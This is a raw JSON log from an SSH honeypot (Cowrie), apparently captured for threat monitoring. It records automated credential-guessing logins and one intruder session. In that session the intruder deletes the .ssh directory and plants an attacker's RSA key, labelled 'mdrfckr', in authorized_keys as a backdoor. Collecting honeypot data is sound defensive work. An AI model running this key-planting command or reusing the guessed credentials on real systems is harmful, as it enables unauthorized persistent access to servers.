{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:c7:af:d7:64:68:c0:f5:71:2b:63:7e:8e:9c:a3:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX5iFP+QIVYNJ/xXQInRCz/NjmpSMxLqekYCCIHoF2QyvwzyVKjKMj/Bt0FGiH/XBePoVUGBoQSzKaqxdckblZHZBL+H2PL3IOYr7wpBml/n9ulQwNdplhwE+vHUV6i70eMTp7NHnxgldtDxEdJ0CWbeXOOwrx8sJtFn0998L/5i63uPdpI7CTSbTsyX+64Y4ac/r+UMqvm4nQmwkMJVjqR5imC9JZLgtTyFTodihoTmBQkm3S/2AUQuulqwKRVVbeDMByRsMjFTFzQx9DjwB9+bYK8S9ziavaVGhf23n243fMMnVBTdr8NUUlYylVssoWMlXLjbQyfAhgZIqxxpfJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.568649Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:73:bd:ba:8b:af:50:cd:84:ff:09:20:6d:5d:b6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8+8OrlDAb7/n72y+bn3nKuffcfM36l63+0h2CV/MyW0i2Tikz1iL9di6wNxclopUmKbcQip7aBYrbksQeZtNP7Og6mPAeYg7YOKPClTJFVvKO4Za1MdZehtN/4efKI58ZpIZeE9Bd6a9m28YZyTv+Ljmam3dv6iGIcQJqAZNMZuVoUEYQrURANFTuuQrP8GuLoah9qMZ7hgGuNmEtI9rQ5V8By13pKglg7Ek/rkCamE+K5d7bf37e3aXx6PmaScydSgw5fwkinczdNFmPSQRgxuNXEXWdNO+DMqeu19dV45gRmrdu5kdLnFAqOmU03PoLm0OmYbBVPR5fIQZ66cu0SuF2DIo16m7FCh97kESAIZ2Ob9f5QkFX2zgElwAuHmYRKkxQ0UADG1rxsv3MBB/0q1Z3YoKkMT9KC8M/MR1OAPGK5RFlAaOZIYoqeGLRGJjfdhmPwkfrs00ZqX/HoFfw/G8MkNxLf3GW+H1Y02L1Oh87rlOySlIVer46MSWTNEc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:73:bd:ba:8b:af:50:cd:84:ff:09:20:6d:5d:b6:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.689793Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:73:bd:ba:8b:af:50:cd:84:ff:09:20:6d:5d:b6:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8+8OrlDAb7/n72y+bn3nKuffcfM36l63+0h2CV/MyW0i2Tikz1iL9di6wNxclopUmKbcQip7aBYrbksQeZtNP7Og6mPAeYg7YOKPClTJFVvKO4Za1MdZehtN/4efKI58ZpIZeE9Bd6a9m28YZyTv+Ljmam3dv6iGIcQJqAZNMZuVoUEYQrURANFTuuQrP8GuLoah9qMZ7hgGuNmEtI9rQ5V8By13pKglg7Ek/rkCamE+K5d7bf37e3aXx6PmaScydSgw5fwkinczdNFmPSQRgxuNXEXWdNO+DMqeu19dV45gRmrdu5kdLnFAqOmU03PoLm0OmYbBVPR5fIQZ66cu0SuF2DIo16m7FCh97kESAIZ2Ob9f5QkFX2zgElwAuHmYRKkxQ0UADG1rxsv3MBB/0q1Z3YoKkMT9KC8M/MR1OAPGK5RFlAaOZIYoqeGLRGJjfdhmPwkfrs00ZqX/HoFfw/G8MkNxLf3GW+H1Y02L1Oh87rlOySlIVer46MSWTNEc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.694368Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:aa:42:3e:7a:d2:03:94:76:1d:2f:b4:87:61:b3:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAphOjy1mmlN9pUQvQ3yL/Ujrjt4c4PUr4StW1o7EByzCfHjTii1/p8D0kzYAlz0RKugLc6ze17C6ZtMQE1ZzzlUe1JIpbkgj4boiK6vVWcOFu2gwmKrgMuDihKw5fT+35AkGJbYIw9MYjRzhrGXEVknL61zSJN5st64V0NI6ggo7OW0o5VOM/jq+zNz+v2tCEIUQzxEdqQpLjj/emsjRS4x/I7Mszq4y3P3FrDfauKlslk0Qfc7kkJKYPG3MAjsSgA9MYJTJ9HCJxKnXAw3MA+Kx1A0195gJUj5e6u3HBFnsKiO8qiV0kBXUS1ZLBZ7H7s/RZq5STObSiHzq6xJTCtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:aa:42:3e:7a:d2:03:94:76:1d:2f:b4:87:61:b3:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.817878Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:aa:42:3e:7a:d2:03:94:76:1d:2f:b4:87:61:b3:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAphOjy1mmlN9pUQvQ3yL/Ujrjt4c4PUr4StW1o7EByzCfHjTii1/p8D0kzYAlz0RKugLc6ze17C6ZtMQE1ZzzlUe1JIpbkgj4boiK6vVWcOFu2gwmKrgMuDihKw5fT+35AkGJbYIw9MYjRzhrGXEVknL61zSJN5st64V0NI6ggo7OW0o5VOM/jq+zNz+v2tCEIUQzxEdqQpLjj/emsjRS4x/I7Mszq4y3P3FrDfauKlslk0Qfc7kkJKYPG3MAjsSgA9MYJTJ9HCJxKnXAw3MA+Kx1A0195gJUj5e6u3HBFnsKiO8qiV0kBXUS1ZLBZ7H7s/RZq5STObSiHzq6xJTCtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.822265Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:41:d7:82:7d:a5:32:d3:36:6d:83:22:5c:b8:f7:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj/RibitZA7dvB1huBk5dy6tZsjlVcpQ2AvBxMRZ7b50DokJJdOyS2tOHrb4ArbeBmTPkYnProAAo7+EPSX1zcOGdIySHG+otl4n02ENkaJ8ngNLfjEGum59K7xka/l/5NgghanHK8hIPjIDrH3epo5xGwvpfpp5FPdYgN+phz1Wh+IF3YOi9nWP7wNrMm02dR+h27zMyakFwVi0FzP1B6Q0mWVbV8IUY6LmiDOCOnloLBcExbDMs+Zn0ZPXboDNuGCMhi63td1zhkxBCyxDN9SFHf4xrfyDiLet+IxPrY2uYhqiagRM6wdrOgTWt22WrehiGUDrfl/IcvmwU3pr+/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:41:d7:82:7d:a5:32:d3:36:6d:83:22:5c:b8:f7:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.946407Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:41:d7:82:7d:a5:32:d3:36:6d:83:22:5c:b8:f7:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj/RibitZA7dvB1huBk5dy6tZsjlVcpQ2AvBxMRZ7b50DokJJdOyS2tOHrb4ArbeBmTPkYnProAAo7+EPSX1zcOGdIySHG+otl4n02ENkaJ8ngNLfjEGum59K7xka/l/5NgghanHK8hIPjIDrH3epo5xGwvpfpp5FPdYgN+phz1Wh+IF3YOi9nWP7wNrMm02dR+h27zMyakFwVi0FzP1B6Q0mWVbV8IUY6LmiDOCOnloLBcExbDMs+Zn0ZPXboDNuGCMhi63td1zhkxBCyxDN9SFHf4xrfyDiLet+IxPrY2uYhqiagRM6wdrOgTWt22WrehiGUDrfl/IcvmwU3pr+/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:04.950406Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:05.075537Z","src_ip":"91.208.197.64","session":"81233c765444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46218,"dst_ip":"10.17.0.5","dst_port":22,"session":"52251b1c5082","protocol":"ssh","message":"New connection: 165.227.170.113:46218 (10.17.0.5:22) [session: 52251b1c5082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:25.443775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:25.448050Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:25.529213Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steamcmd","message":"login attempt [steam/steamcmd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:25.891061Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.098194Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.101148Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.104734Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.189166Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.389548Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.393052Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.479897Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.483892Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46224,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d1c75beef6c","protocol":"ssh","message":"New connection: 165.227.170.113:46224 (10.17.0.5:22) [session: 1d1c75beef6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.563815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.568613Z","src_ip":"165.227.170.113","session":"1d1c75beef6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:26.656753Z","src_ip":"165.227.170.113","session":"1d1c75beef6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:27.029375Z","src_ip":"165.227.170.113","session":"1d1c75beef6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.116520Z","src_ip":"165.227.170.113","session":"1d1c75beef6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46226,"dst_ip":"10.17.0.5","dst_port":22,"session":"2820df21f002","protocol":"ssh","message":"New connection: 165.227.170.113:46226 (10.17.0.5:22) [session: 2820df21f002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.196643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.201406Z","src_ip":"165.227.170.113","session":"2820df21f002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.289226Z","src_ip":"165.227.170.113","session":"2820df21f002","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.658766Z","src_ip":"165.227.170.113","session":"2820df21f002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.744389Z","src_ip":"165.227.170.113","session":"52251b1c5082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:57:28.749309Z","src_ip":"165.227.170.113","session":"2820df21f002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":22132,"dst_ip":"10.17.0.5","dst_port":22,"session":"065c3e9bb538","protocol":"ssh","message":"New connection: 223.233.84.127:22132 (10.17.0.5:22) [session: 065c3e9bb538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:02.835744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:02.841718Z","src_ip":"223.233.84.127","session":"065c3e9bb538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:03.200233Z","src_ip":"223.233.84.127","session":"065c3e9bb538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QAZ2wsx","message":"login attempt [ubuntu/QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:04.296603Z","src_ip":"223.233.84.127","session":"065c3e9bb538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:05.547425Z","src_ip":"223.233.84.127","session":"065c3e9bb538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":55122,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cbdcae58605","protocol":"ssh","message":"New connection: 165.227.170.113:55122 (10.17.0.5:22) [session: 6cbdcae58605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:10.292841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:58:10.297571Z","src_ip":"165.227.170.113","session":"6cbdcae58605","protocol":"ssh"}
